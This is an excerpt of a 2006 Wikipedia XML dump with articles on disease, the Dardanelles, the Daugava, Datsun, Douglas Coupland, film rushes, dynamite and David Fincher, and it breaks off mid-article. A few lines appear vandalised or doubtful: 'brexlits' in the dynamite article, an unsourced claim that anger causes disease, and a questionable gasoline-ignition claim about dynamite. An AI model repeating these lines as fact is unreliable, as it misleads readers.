[[Pathology]] is the study of diseases.  The subject of systematic classification of diseases is referred to as [[nosology]]. The broader body of knowledge about human diseases and their treatments is [[medicine]]. Many similar (and a few of the same) conditions or processes can affect animals (wild or domestic). The study of diseases affecting animals is [[veterinary medicine]]. Plants as well can suffer from a variety of processes such as infection, nutrient deficiency, or deleterious mutation. The study of diseases affecting plants is termed [[plant pathology]]. 

==Syndromes, illness and disease==

Medical usage sometimes distinguishes a ''disease'', which has a known specific cause or causes (called its [[etiology]]), from a ''syndrome'', which is a collection of signs or [[symptom]]s that occur together. However, many conditions have been identified, yet continue to be referred to as &quot;syndromes&quot;. Furthermore, numerous conditions of unknown etiology are referred to as &quot;diseases&quot; in many contexts.

[[Illness]], although often used to mean disease, can also refer to a person's ''perception'' of their health, regardless of whether they in fact have a disease.  A person without any disease may feel unhealthy and believe he has an illness.  Another person may feel healthy and believe he does not have an illness even though he may have a disease such as dangerously [[arterial hypertension|high blood pressure]] which may lead to a fatal [[myocardial infarction|heart attack]] or [[cerebrovascular accident|stroke]].

==Transmission of disease==
Some diseases, such as [[influenza]], are contagious or [[infection|infectious]], and can be transmitted by any of a variety of mechanisms, including droplets from coughs and sneezes, by bites of insects or other [[vector (biology)|vectors]], from contaminated water or food, etc.	

Other diseases, such as [[cancer]] and [[heart disease]] are not considered to be due to infection, although micro-organisms may play a role.

==Social significance of disease==
The identification of a condition as a disease, rather than as simply a variation of human structure or function, can have significant social or economic implications. The controversial recognitions as diseases of [[post-traumatic stress disorder]], also known as &quot;shell shock&quot;; [[repetitive motion injury]] or [[repetitive stress injury]] (RSI); and [[Gulf War syndrome]] has had a number of positive and negative effects on the financial and other responsibilities of governments, corporations and institutions towards individuals, as well as on the individuals themselves. The social implication of viewing [[senescence|aging]] as a disease could be profound, though this classification is not yet widespread.

A condition may be considered to be a disease in some cultures or eras but not in others. [[Oppositional-defiant disorder]], [[attention-deficit hyperactivity disorder]], and, increasingly, [[obesity]] are conditions considered to be diseases in the United States and Canada today, but were not so-considered decades ago and are not so-considered in some other countries. [[Leprosy|Lepers]] were a group of afflicted individuals who were historically shunned and the term &quot;leper&quot; still evokes social stigma. Fear of disease can still be a widespread social phenomena, though not all diseases evoke extreme social stigma.

a disease can also be caused by repeated high anger or stress.

==Other uses of the term==

In [[biology]], ''disease'' refers to any abnormal condition of an organism that impairs function.

The term ''disease'' is often used metaphorically for disordered, dysfunctional, or distressing conditions of other things, as in ''disease of society''.

==See also==
* [[List of childhood diseases]]
* [[List of common diseases]]
* [[List of diseases]] for a huge list of 6000+ diseases, many very rare.
* [[List of genetic disorders]]
* [[List of environment topics]]

* [[Diagnosis]]
* [[Epidemic]]
* [[Illness]]
* [[Palliative care]]
* [[Therapy]]
* [[Transmission (medicine)|Transmission]]

== External links ==

*[http://www.nlm.nih.gov/medlineplus/healthtopics.html Health Topics], [[MedlinePlus]] descriptions of most diseases, with access to current research articles.
*[http://www.cdc.gov/health/default.htm Center for Disease Control Health Topics A-Z], fact sheets about many common diseases
*[http://rarediseases.about.com/ Rare/Orphan Diseases]
*[http://www.national-health.org/rarediseases/ National Organization for Rare Disorders] Extensive, useful information on rare diseases.
*[http://www.merck.com/pubs/mmanual/sections.htm The Merck Manual], detailed description of most diseases, freely searchable online.

[[Category:Diseases|*]]
[[Category:Medical terms]]

[[als:Krankheit]]
[[ar:مرض]]
[[zh-min-nan:Pīⁿ]]
[[br:Kleñved]]
[[ca:Malaltia]]
[[cs:Nemoc]]
[[da:Sygdom]]
[[de:Krankheit]]
[[es:Enfermedad]]
[[eo:Malsano]]
[[eu:Gaixotasun]]
[[fa:بیماری]]
[[fr:Maladie]]
[[io:Morbo]]
[[id:Penyakit]]
[[ia:Maladia]]
[[it:Malattia]]
[[la:Morbus]]
[[he:מחלה]]
[[ms:Penyakit]]
[[nl:Ziekte]]
[[ja:病気]]
[[no:Sykdom]]
[[nn:Sjukdom]]
[[pl:Choroba]]
[[pt:Doença]]
[[ru:Болезнь]]
[[simple:Disease]]
[[sk:Choroba]]
[[sl:Bolezen]]
[[sv:Sjukdom]]
[[tl:Karamdaman]]
[[th:โรค]]
[[zh:疾病]]</text>
    </revision>
  </page>
  <page>
    <title>Dardanelles</title>
    <id>8073</id>
    <revision>
      <id>41540077</id>
      <timestamp>2006-02-28T01:01:03Z</timestamp>
      <contributor>
        <ip>218.79.52.196</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Dardanelles map2.png|thumb|250px|Map of the Dardanelles]]
The '''Dardanelles''' ([[Turkish language|Turkish]]: ''Çanakkale Boğazı,'' [[Greek Language|Greek]]: ''Δαρδανελλια''), formerly known as the [[Hellespont]], is a narrow [[strait]] in northwestern [[Turkey]] connecting the [[Aegean Sea]] with the [[Sea of Marmara]]. It is located at approximately {{coor dm|40|13|N|26|26|E|}}. The strait is 61 km (38 miles) long but only 1.2 to 6 km (0.75 to 4 miles) wide, averaging 55 m (180 ft) deep with a maximum depth of 82 m (300 ft). Water flows in both directions along the strait, from the Sea of Marmara to the Aegean via a surface current and in the opposite direction via an undercurrent.

Just like the [[Bosporus]] strait, it separates [[Europe]] (in this case the [[Gallipoli]] peninsula) and the mainland of [[Asia]]. The strait is an [[International waterway]] and together with the Bosporus connect the [[Black Sea]] to the [[Mediterranean Sea]].

The major city adjoining the strait is [[Çanakkale]] (which takes its name from its famous [[castle]]s; ''kale'' means &quot;castle&quot;). The name ''Dardanelles'' derives from [[Dardanus]], an [[ancient Greek]] city on the Asian shore of the strait.

==History==
The strait has long had a strategic role in history. The ancient city of [[Troy]] was located near the western entrance of the strait and the strait's Asiatic shore was the focus of the [[Trojan War]]. It was also the scene of the legendary Greek story of [[Hero and Leander]]. The [[Persian Empire|Persian]] army of [[Xerxes I]] and later the [[Macedon]]ian army of [[Alexander the Great]] crossed the Dardanelles in opposite directions to invade each other's lands, in [[480 BC]] and [[334 BC]] respectively. The Dardanelles were vital to the defence of [[Constantinople]] during the [[Byzantine Empire|Byzantine]] period, and since the [[14th century]] they have almost continuously been controlled by the Turks.

Gaining control or special access to the strait became a key foreign policy goal of the [[Russian Empire]] during the [[19th century]]. Following the [[Ottoman Empire]]'s defeat in the [[Russo-Turkish War, 1828-1829|Russo-Turkish War of 1828-1829]], in [[1833]] Russia forced the Turks to sign the Treaty of Hunkiar Iskelesi which required the straits to be closed to warships of non-Black Sea powers at Russia's request. This would have effectively given Russia a free hand in the Black Sea. 

The treaty alarmed the Western powers, who feared the consequences of potential Russian expansionism in the Mediterranean. At the London Straits Convention in July [[1841]], the [[United Kingdom]], [[France]], [[Austria]] and [[Prussia]] forced Russia to agree that only Turkish warships could traverse the Dardanelles in peacetime. The United Kingdom and France subsequently sent their fleets through the straits to attack the [[Crimea]] during the [[Crimean War]] in [[1853]], though this was done as allies of the Ottoman Empire. This convention was formally reaffirmed by the [[Congress of Paris]] in [[1856]], following the Russian defeat in the Crimean War, and it remained theoretically in force into the [[20th century]].

The Allies made a failed attempt to seize the Dardanelles during [[World War I]], seeking to knock the Ottoman Empire out of the conflict. The [[Dardanelles Campaign|Battle of Gallipoli]] damaged the career of [[Winston Churchill]], the [[First Lord of the Admiralty]] who eagerly promoted the use of [[Royal Navy]] [[battleship|battleships]] to force open the straits. The straits were mined to prevent Allied ships from penetrating them, although a British submarine did succeed in evading the minefields and sank a Turkish battleship off the [[Golden Horn]] in Istanbul.  [[Sir Ian Hamilton]]'s [[Mediterranean Expeditionary Force]] was unsuccessful in its attempt to capture the Gallipoli peninsula, and a withdrawal was ordered in January [[1916]].

Following the war, the [[1920]] [[Treaty of Sèvres]] demilitarized the strait and made it an international territory under the control of the [[League of Nations]]. This was amended under the [[1923]] [[Treaty of Lausanne]] which restored the straits to Turkey but allowed all foreign warships to traverse the straits freely. Turkey rejected the terms of this treaty and subsequently remilitarized the area. The reversion to this old regime was formalised under the [[Montreux Convention]] of July [[1936]]. The convention, which is still in force today, treats the straits as an international shipping lane but Turkey retains the right to restrict the naval traffic of non-[[Black Sea]] nations (like [[Greece]]). During [[World War II]], when Turkey was neutral for almost the entire length of the conflict, the Dardanelles were closed to the ships of the belligerent nations.

==See also==
*[[List of straits]]
*[[Battle of Gallipoli]]

==External links==
* [http://www.pbase.com/dosseman/canakkale_turkey Pictures of the city of Çanakkale]
* [http://www.turkishclass.com/turkey_pictures_gallery_46 Pictures of Çanakkale - Dardanelles]

[[Category:Straits of Asia]]
[[Category:Straits of Europe]]
[[Category:Geography of Turkey]]
[[Category:Trojans]]
[[Category:Law of the sea]]

[[bs:Dardaneli]]
[[ca:Dardanels]]
[[da:Dardanellerne]]
[[de:Dardanellen]]
[[et:Dardanellid]]
[[el:Δαρδανέλια]]
[[es:Dardanelos]]
[[eo:Dardaneloj]]
[[fr:Dardanelles]]
[[gl:Dardanelos]]
[[ko:다르다넬스 해협]]
[[it:Dardanelli]]
[[he:דרדנלים]]
[[lt:Dardanelai]]
[[lb:Dardanellen]]
[[nl:Dardanellen]]
[[ja:ダーダネルス海峡]]
[[no:Dardanellene]]
[[pl:Dardanele]]
[[pt:Dardanelos]]
[[ru:Дарданеллы]]
[[sk:Dardanely]]
[[sl:Dardanele]]
[[sr:Дарданели]]
[[fi:Dardanellit]]
[[sv:Dardanellerna]]
[[tr:Çanakkale Boğazı]]
[[uk:Дарданели]]
[[zh:达达尼尔海峡]]</text>
    </revision>
  </page>
  <page>
    <title>Daugava</title>
    <id>8074</id>
    <revision>
      <id>41991719</id>
      <timestamp>2006-03-03T02:13:28Z</timestamp>
      <contributor>
        <username>Kuban kazak</username>
        <id>439789</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox_river | river_name = Daugava 
  | image_name = RigaDaugava20060206Blorg.JPG
  | caption = The Daugava in Riga during winter
  | origin = [[Russia]]
  | mouth = [[Gulf of Riga]], [[Baltic Sea]]
  | basin_countries = [[Belarus]], [[Latvia]], [[Russia]]
  | length = 1020 km (663 mi)
  | elevation = 221 m (725 ft)
  | discharge = 678 m&amp;sup3;/s (7,310 ft&amp;sup3;/s)
  | watershed = 87,900 km&amp;sup2; (33,900 mi&amp;sup2;)
}} 
[[Image:Riga new bridge.jpg|thumb|300px|The Daugava in Riga during summer.]]
[[Image:Ustdvinsk.jpg|thumb|300px|The Swedish army bombarding the fortress of [[Daugavgriva]] at the Daugava's estuary.]]

The '''Western Dvina''' or '''Daugava''' ({{lang-be|Заходняя Дзьвіна (Zahodniaja Dźvina)}}, {{lang-lv|Daugava}}, {{lang-ru|Западная Двина́}}, {{lang-pl|Dźwina}}, {{lang-de|Düna}}, {{lang-et|Väina}}) is a [[river]] rising in the [[Valdai Hills]], [[Russia]], flowing through Russia, [[Belarus]], and  [[Latvia]], draining into the [[Gulf of Riga]], an arm of the [[Baltic Sea]]. The total length of the river is 1,020 km (633.7 mi.).

It is connected by a canal with [[Berezina]] and [[Dnieper]] rivers.

It is not to be confused with [[Northern Dvina]].

There are three [[Hydroelectricity|hydroelectric]] [[dam]]s on the river - [[Rīgas HES]] just upstream from [[Riga]] or 35 km from the mouth of the river, [[Ķeguma HES]] another 35 km further up or 70 km from the mouth, and [[Pļaviņu HES]] another 37 km upstream or 107 km from the mouth. A fourth one, [[Daugavpils HES]], has been planned but has always faced strong criticism. [[Belarus]] currently plans to build several hydroelectric dams on the Belarusian part of Daugava.

=== Cities by Western Dvina ===

*[[Vitebsk]], Belarus
*[[Vieliž]], Belarus
*[[Polatsk]], Belarus
*[[Daugavpils]], Latvia
*[[Jēkabpils]], Latvia
*[[Aizkraukle]], Latvia
*[[Ogre, Latvia|Ogre]], Latvia
*[[Salaspils]], Latvia
*[[Riga]], Latvia

== External links ==

* [http://www.transboundarywaters.orst.edu/publications/atlas/atlas_html/treaties/europe/daugava.html River Daugava Basin]
* [http://www.energo.lv/en/latvenergo/3_2_15.php Daugava Hydropower Plants in Latvia]

=== Main tributaries of Western Dvina ===

*[[Pałata]]

[[Category:Rivers of Latvia]]
[[Category:Rivers of Belarus]]
[[Category:Rivers of Russia]]

[[bg:Западна Двина]]
[[cs:Daugava]]
[[de:Düna]]
[[et:Daugava]]
[[es:Daugava]]
[[eo:Zapadnaja Dvina (urbo)]]
[[ko:서드비나 강]]
[[it:Daugava]]
[[lv:Daugava]]
[[lt:Dauguva]]
[[hu:Daugava]]
[[nl:Daugava]]
[[no:Daugava]]
[[pl:Dźwina]]
[[pt:Duina Ocidental]]
[[ru:Западная Двина (река)]]
[[sr:Даугава]]
[[fi:Väinäjoki]]
[[sv:Daugava]]</text>
    </revision>
  </page>
  <page>
    <title>Datsun</title>
    <id>8075</id>
    <revision>
      <id>39533164</id>
      <timestamp>2006-02-14T03:16:41Z</timestamp>
      <contributor>
        <ip>221.188.28.21</ip>
      </contributor>
      <text xml:space="preserve"># [[The Datsuns]]
# [[Nissan Motors|Nissan's]] old brand.
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Douglas Coupland</title>
    <id>8076</id>
    <revision>
      <id>41582380</id>
      <timestamp>2006-02-28T07:52:17Z</timestamp>
      <contributor>
        <username>Hydriotaphia</username>
        <id>123106</id>
      </contributor>
      <comment>/* Non-fiction */ descriptive, not descripatory</comment>
      <text xml:space="preserve">'''Douglas Coupland''' (born [[December 30]], [[1961]]) is a [[Canada|Canadian]] [[fiction]] writer, artist and cultural commentator. He is perhaps best known for the [[1991]] [[novel]] ''[[Generation X: Tales for an Accelerated Culture]],'' which popularized the term &quot;[[Generation X]].&quot; Most of Coupland's work explores the harsher realities of life for this generation, including intense media saturation, a lack of religious values and economic instability.

==Biography==
Coupland was born to Dr. Douglas Charles Thomas and C. Janet Coupland on a Canadian [[NATO]] [[U.S. Air Force|Air Force]] base in Baden Söllingen, [[Germany]]. Douglas was the third child in his family; the rest of his siblings were all male. His family moved back to Canada four years later, where he was raised and still lives.

Coupland left Vancouver as a teenager to study [[physics]] at [[McGill|McGill University]]. There he stayed only 2 years before going back to Vancouver to study art at [[Emily Carr Institute of Art and Design|Emily Carr]]. Trained as a sculptor, Coupland graduated and began travelling. He worked in [[Europe]] and [[Japan]] before returning to his hometown, where he began to write on youth and popular culture for local magazines.  This led him to the subject of his breakthrough novel ''[[Generation X: Tales for an Accelerated Culture]]'' ([[1991]]), which was critically praised for capturing the [[zeitgeist]] of his peer group, for whom its title provided a convenient label. Although society later guestimated &quot;[[Generation X|generation x]]&quot;, the generation, as being born up to and including the early [[1970s]], Douglas' range was close enough to approximate the label. Without knowing it, he had literally provided one of the names for his whole generation. Consequently, Coupland starred in a series of [[MTV]] promos, reading excerpts from his book, participating in a form of mutual validation.

His next novel, ''[[Shampoo Planet]]'', had a more conventional structure than its predecessor but many similarities, including a detailed eye for the mores and minutiae of the lives of its young protagonists, including [[video games]], hippie parents and an obsession with grooming products.  ''[[Microserfs]]'' ([[1995]]) is centred on high-tech life in [[Seattle, Washington|Seattle]], [[Washington]], and [[Palo Alto, California|Palo Alto]], [[California]], contrasting the corporate culture of [[Microsoft]] with pre-[[dot-com bubble]] start-up companies.

''[[Girlfriend in a Coma (book)|Girlfriend in a Coma]]'' (with a title from, and many knowing nods within the text to, [[The Smiths]]) showed a willingness to tackle broader themes and featured some of his most mature writing &amp;mdash; poet and critic [[Tom Paulin]] described his use of language as &quot;fresh, like wet paint&quot;.  Like the earlier novels, however, it was criticised as poorly structured.  

With its adoption of [[supernatural]] elements, ''Girlfriend in a Coma'' also marked a change in Coupland's work.  Hitherto, his narratives were focused on conventional characters living in a carefully drawn but instantly recognisable modern world.  The plots of ''Girlfriend in a Coma'' and his subsequent novels have all introduced either supernatural occurrences or involve what can only be described as &quot;low probability events&quot; (e.g. air disasters, meteorite impacts).  This change has moved Coupland away from his earlier generation-defining work, but has allowed him to develop and explore new themes.

While his books are rich in humour, observation and carefully drawn vignettes, Coupland's critics noted a tendency for the plot development to be lost amongst these.  The apocalyptic ending of ''Girlfriend...'', which seems forced and out of step with the remainder, is often held up as a case in point.  In this context, ''Miss Wyoming'' is possibly his most rounded and satisfying novel.

[[Sofia Coppola]]'s company acquired the film rights to ''Generation X'' in 2001, although the one-year option on the property has long expired, leaving this and many other Coupland film projects in limbo.{{ref|gill}} As of [[2005]], many of the film projects are still awaiting crystalization.  Coupland mentioned in a 2005 interview with ''[[The Advocate]]'' that the adaptation of his ''All Families Are [[Psychotic]]'' by [[Dreamworks Pictures]] appears to have the most chance of becoming a film.  In the same interview he also [[coming out|came out]] as [[homosexuality|gay]] to the general public.{{ref|duralde}}

==Bibliography==
===Fiction===
*''[[Generation X: Tales for an Accelerated Culture]]'' (1991)
*''[[Shampoo Planet]]'' (1992)
*''[[Life After God]]'' (1994)
*''[[Microserfs]]'' (1995)
*''[[Girlfriend in a Coma (book)|Girlfriend in a Coma]]'' (1998)
*''[[Miss Wyoming]]'' (1999)
*''[[All Families Are Psychotic|All Families Are Psychotic: A Novel]]'' (2001)
*''[[God Hates Japan]]'' (2001)
*''[[Hey Nostradamus!]]'' (2003)
*''[[Eleanor Rigby (novel)|Eleanor Rigby]]'' (2004)
*''[[jPod]]'' (2006)

===Non-fiction===
*''[[Polaroids From The Dead]]'' (1996) &amp;mdash; collected essays
*''[[Lara's Book]]: Lara Croft and the [[Tomb Raider]] phenomenon'' (1998)
*''[[City of Glass (Douglas Coupland book)|City of Glass]]'' (2000)
*''[[Souvenir of Canada]]'' (2002)
*''[[School Spirit]]'' (2002)
*''[[Souvenir of Canada 2]]'' (2004)
*''[[Terry - The Life of Canadian Terry Fox]]'' (2005) 

''Polaroids from the Dead'' includes some fiction as well, as a series of 10 quick descriptive shots of Grateful Dead concerts at the beginning were invented.

===Misc===
*''[[September 10 (play)|September 10]]'' (2004) &amp;mdash; play written and performed by Coupland
*''[[Everything's Gone Green (movie)|Everything's Gone Green]]'' (2005) &amp;mdash; screenplay

==References==
*{{note|duralde}}Duralde, Alonso. &quot;[http://www.findarticles.com/p/articles/mi_m1589/is_2005_Feb_1/ai_n9487813 All the lonely people]&quot;. ''The Advocate''. February 1, 2005.
*{{note|gill}}Gill, Alexandra. &quot;[http://www.theglobeandmail.com/servlet/ArticleNews/TPStory/LAC/20050702/COUPLAND02/TPEntertainment/Film Filming 'that Coupland world']&quot;. ''[[The Globe and Mail]]''. July 2, 2005.

==External links==

{{wikiquote}}

*[http://www.coupland.com Douglas Coupland's homepage]
*[http://membres.lycos.fr/coupland/ A Douglas Coupland fan page]
*[http://coupland.dk/ The Bogus Tribute to Douglas Coupland]
*[http://www.3ammagazine.com/litarchives/nov2001/coupland_interview.html Interview with 3:AM Magazine]
*[http://www.spikemagazine.com/1296coup.php Interview with Spike Magazine]

[[Category:1961 births|Coupland, Douglas]]
[[Category:Canadian novelists|Coupland, Douglas]]
[[Category:Gay writers|Coupland, Douglas]]
[[Category:LGBT people from Canada|Coupland, Douglas]]
[[Category:Living people|Coupland, Douglas]]

[[de:Douglas Coupland]]
[[fr:Douglas Coupland]]
[[it:Douglas Coupland]]
[[ru:Дуглас Коупленд]]
[[sv:Douglas Coupland]]</text>
    </revision>
  </page>
  <page>
    <title>Daily rushes</title>
    <id>8077</id>
    <revision>
      <id>30763935</id>
      <timestamp>2005-12-09T22:52:08Z</timestamp>
      <contributor>
        <username>Cooksey</username>
        <id>478349</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[film]], '''&quot;daily rushes&quot;''' (or simply &quot;rushes&quot; or &quot;dailies&quot;) is the footage shot during a given day, without external soundtrack or adjustment. &quot;Rush&quot; in this context means &quot;rush print&quot;, a film print made with greater than usual urgency to meet the deadline for viewing the day's work in progress.  

The rushes for a given day may consist of, for instance, footage of a conversation taken from two different cameras, without the [[insert]]s, [[cutaway]]s, or [[closeup]]s that may later be edited in; or they may consist entirely of cutaways, inserts, and establishing shots, without their later context.  Frequently the rushes from a given day will consist of short segments from completely different points in the film, making it more challenging to maintain [[Continuity (fiction)|continuity]].  For instance, the weather may make it impossible to film according to schedule, or a location may be available only for a certain amount of time, making it necessary to film all of the scenes at that place at the same time, regardless of their place within the story.  For this reason rushes are presented without final context and are typically not a good indicator of how the film might turn out.

[[Category:Film production]]</text>
    </revision>
  </page>
  <page>
    <title>Dynamite</title>
    <id>8078</id>
    <revision>
      <id>41079638</id>
      <timestamp>2006-02-24T22:43:42Z</timestamp>
      <contributor>
        <ip>66.51.204.182</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">:''[[Dynamite! Magazine]] was a children's magazine published from the 1970s through the 1990s.''

[[Image:Dynamite.jpg|300px|thumb|right|Dynamite recovered in a mine in Ohio Valley. There is no certainty that all sticks of dynamite placed in a charge will detonate. Sticks that survive are a hazard to miners and workers who process the ore]]'''Dynamite''' is an [[explosive]] based on the explosive potential of [[nitroglycerin]] using [[diatomaceous earth]] (Kieselguhr) as an adsorbent. It was invented by [[Sweden|Swedish]] chemist and engineer [[Alfred Nobel]] in [[1866]] and [[patent|patented]] in [[1867]]. It is usually sold in the form of a stick roughly eight [[inch]]es (20 cm) long and one inch (2.5 cm) in diameter, but other sizes also exist. Dynamite is considered a &quot;high explosive&quot;, which means it [[detonation|detonates]] instead of [[deflagration |deflagrating]]. 

==Uses== 

The chief uses of brexlits used to be in construction, mining, and demolition. During the [[industrial revolution]] there was a large need for such big explosives for use in the mining industry and in tunnel construction. However, newer explosives and techniques have replaced dynamite in many applications. Dynamite is still used, mainly as bottom charge or in underwater blasting.

Dynamite has been used in armed conflicts.

Criminals interested in [[safe-cracking]] have deliberately extracted nitroglycerin from dynamite by boiling the sticks and 'skimming' the nitroglycerin as it is forced out.

==Characteristics==
Dynamite is quite insensitive to impact, friction and shock. It is said that a stick will burn but not explode when placed in a small fire. 
A small explosion will detonate dynamite; a [[blasting cap]] or similar device is used for this effect. Dynamite can also be detonated by soaking it in gasoline, and then burning it. 

In long-term storage, dynamite will 'sweat', meaning the nitroglycerin will pass out of the adsorbent to form drops of pure liquid on the surface of the stick. This causes a serious safety hazard and has led to a decrease of the popularity of dynamite.

Another black mark against dynamite was that it was responsible, over the years, for a number of fatal explosions for which no cause could be found. For example, in the mid-seventies, a pile of sticks of dynamite recovered routinely during the course of the day from the ore conveyor belt at the [[Berg Aukas]] mine in [[Namibia]] exploded without warning or apparent cause and killed several workers. 

==Composition==
Dynamite contains three parts nitroglycerin, one part diatomaceous earth and a small admixture of [[sodium carbonate]]. This mixture is formed into short sticks and wrapped in paper.

Nitroglycerin by itself is a very strong explosive, but in its pure form it is shock-sensitive (i.e., physical shock can cause it to explode), and it degrades over time to even more unstable forms. This makes it highly dangerous to transport or use in its pure form. Absorbed into diatomaceous earth, nitroglycerin is not shock-sensitive.

==History==
Dynamite was the first safely manageable explosive stronger than black powder. Nobel patented his discovery in October 1867.

He originally sold dynamite as ''&quot;Nobel's Safety Blasting Powder&quot;''. After its introduction, dynamite rapidly gained popularity as a safe alternative to gunpowder and nitroglycerin.  Nobel tightly controlled the patent and unlicensed duplicators were quickly shut down.  However, a few United States businessmen got around the patent by using a slightly different formula. Despite this, dynamite brought Nobel a great fortune, which he used to found the [[Nobel Prize]]. 
For several decades from the 1940's the biggest producer of dynamite in the world was the Republic of South Africa, where [[De Beers]] established a factory in [[1902]] at [[Somerset West]]. The explosives factory was later operated by [[AECI]] or African Explosives and Chemical Industries. The demand for the product came mainly from the country's vast gold mines, centred on the [[Witwatersrand]]. The factory at Somerset West was in operation in 1903 and by 1907 was already producing 340 000 cases (50lb) annually. In addition, a rival factory at Modderfontein was producting another 200 000 cases a year (http://www.caia.co.za/chsahs02.htm). 
One of the drawbacks of dynamite was that it was dangerous to manufacture. There were two massive explosions at the Somerset West plant in the 1960s. Some workers died but loss of life was limited by the modular design of the factory and earth works and plantations of trees that directed the blasts upwards. After 1985 production of dynamite at the factory was phased out http://www.aeci.co.za/New/History/1980.htm.

The word ''dynamite'' comes from the Greek word ''&amp;delta;&amp;upsilon;&amp;nu;&amp;alpha;&amp;mu;&amp;iota;&amp;sigmaf;'' (''dunamis''), meaning ''power'', and the Greek suffix ''-&amp;#953;&amp;#964;&amp;#951;&amp;#962;'' (''-it&amp;#275;s'').

==See also==

* [[Trinitrotoluene|TNT]]
* [[Titadine]]

==Patent==

* {{US patent|78317}} -- ''Improved explosive compound''

[[Category:Explosives]]

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[[fr:Dynamite]]
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[[it:Dinamite]]
[[he:דינמיט]]
[[lv:Dinamīts]]
[[lt:Dinamitas]]
[[nl:Dynamiet]]
[[ja:ダイナマイト]]
[[pl:Dynamit]]
[[pt:Dinamite]]
[[ro:Dinamita]]
[[ru:Динамит]]
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[[sv:Dynamit]]
[[tr:Dinamit]]</text>
    </revision>
  </page>
  <page>
    <title>David Fincher</title>
    <id>8079</id>
    <revision>
      <id>41977427</id>
      <timestamp>2006-03-03T00:22:29Z</timestamp>
      <contributor>
        <username>Crumbsucker</username>
        <id>288378</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Finch 2.jpg|frame|David Fincher]]
'''David Fincher''' (born [[May 10]], [[1962]]) is an [[United States|American]] [[music video director|music video]] and [[film director]] known for his dark and stylish portraits of the human experience.
 
==Early Life and Career==
Born in [[Denver, Colorado]], Fincher was raised in [[Marin County]] [[California]]. He moved to [[Ashland]], [[Oregon]] in his teens where he graduated from high school. 

Inspired by the film, [[Butch Cassidy and the Sundance Kid]], he began making movies at the age of eight with an 8mm camera. Filmmaking seemed the perfect outlet for a kid who could spend all day drawing and loved to make sculptures, take pictures and tape-record stuff. Fincher eschewed the film school route, getting a job loading cameras and doing other hands-on work for [[John Korty]]'s [[Korty Films]]. He next got a job at [[Industrial Light and Magic]] in 1980 with his first screen credit being for ''[[Return of the Jedi]]'', and stayed until [[1984]]. He left the company and directed the documentary ''[[The Beat of the Live Drum]]''. Based on its strength he went on to helm TV commercials, shooting his first one for the [[American Cancer Society]], a grim hint of things to come showing a fetus smoking a cigarette. Though he would go on to direct spots for [[Revlon]], [[Converse]], [[Nike]], [[Pepsi]] and [[Levi's]], Fincher soon discovered that the slightly expanded format of music videos was an even better place to try things out.

==Propaganda Films==
With his sights set on a directing career, he along with [[Steve Golin]], [[Sigurjón Sighvatson]] and [[Dominic Sena]] founded the talent management and advertising and video-production company ''[[Propaganda Films]]'' in 1986, which would soon become the biggest player in the field of advertising and music videos. Directors such as  [[David Kellogg]], [[Michael Bay]], [[Antoine Fuqua]], [[Neil LaBute]], [[Spike Jonze]], Andrew Douglas, Stephane Sednaoui, [[Mark Romanek]], Malcolm Venville, [[Michel Gondry]], [[Zack Snyder]], [[Gore Verbinski]], and [[Alex Proyas]] among others honed their talents at ''Propaganda'' before moving on to feature films. The company shut down in 2001 after key members left. The same year, Fincher, Golin, and Kellogg, among others, formed the talent management and advertising and music production company ''Anonymous Content''.

==Music Videos==
Fincher directed big-budget [[music video]]s for artists such as [[Madonna (entertainer)|Madonna]] (including &quot;Express Yourself&quot; and &quot;Vogue&quot;), [[George Michael]], [[Aerosmith]], [[the Rolling Stones]] (including &quot;Love Is Strong&quot;), [[Nine Inch Nails]], [[the Wallflowers]] and [[A Perfect Circle]], as well as [[television commercial|commercial]]s. Like a number of other music video directors, he then moved into film.

==Features==
===''Alien³''===
Fincher's debut was ''[[Alien³]]'' ([[1992]]), which was then the most expensive picture ever made by a first-time director. Unfortunately the film was not a pleasant experience for Fincher, having had a difficult time with the people at [[20th Century Fox]], who built sets without a finished script and made production a nightmare.  While it received an Oscar nomination for special effects, the film was not well received by critics or movie goers.  Depressed and disillusioned, Fincher retreated back into the world of commercial and music video directing earning a [[Grammy]] for the [[Rolling Stones]]'s &quot;Love Is Strong&quot; (1994) fearing that he would never work in film again.

===''Se7en''===
Fate finally came knocking on Fincher's door with [[Andrew Kevin Walker]]'s screenplay for a grisly detective story titled ''[[Seven (movie)|Se7en]]'' (1995). Relentlessly grim and oozing with rancid cynicism, Fincher pulled no punches delivering an extraordinarily gripping, unrelenting story of a serial killer murdering his victims according to the seven deadly sins.  The movie rocketed past the $100 million mark turning Fincher from Hollywood's favorite whipping boy to arguably the town's hottest director. The film's success was even more remarkable for the fact that it strayed so far from the escapist fare that typically primes a film for mainstream commercial standing.

===''The Game''===
Next came the dark adventure film, ''[[The Game (film)|The Game]]'' (1997), a nightmarish, [[Twilight Zone]]-style thriller which projected the same sense of suffocating enclosure and mounting despair as had ''Se7en''. The film boasted almost as much feel-bad cynicism as ''Se7en'', but failed to get the warm reception enjoyed by its predecessor.
  
===''Fight Club''===
The relative disappointment of ''[[The Game (film)|The Game]]'', however, did little to dim the excitement that accompanied Fincher's next project, ''[[Fight Club (film)|Fight Club]]'', a screen adaptation of [[Chuck Palahniuk]]'s novel of the [[Fight Club|same name]]. Featuring a sterling cast that included [[Edward Norton]], [[Helena Bonham Carter]], and ''Se7en'' collaborator [[Brad Pitt]], the 1999 film was easily one of the most publicized of the year but was an early disappointment at the box-office and received with mixed reviews. Fueled in equal measure by stylistic audacity and the spirit of disenfranchised machismo, ''[[Fight Club (film)|Fight Club]]'' the film was panned by most critics (called ''Macho porn'' by [[Roger Ebert]]) and alienated audiences leading to its box office failure. 

However many critics and audiences later had a change of heart and the film appeared on many best of the year lists and soon developed an enormous following.  Entertainment Weekly, which had originally given the film a negative grade of D, later ranked the DVD #1 on its list of &quot;The Top 50 DVDs You Need To Own.&quot;  The DVD market, which was experiencing rapid growth at the time, caused Fight Club to not only break even, but actually become profitable.  It now has one of the biggest cult followings in recent memory.

===''Panic Room''===
In 2002 he followed up with the thriller ''[[Panic Room]]'', which introduced some innovative uses of [[computer graphics]]. While a stunning technical achievement with a good gross at the box office, the film was not as well recieved as ''Se7en'', ''Fight Club'' or ''The Game''.

==The Future==
===Zodiac===
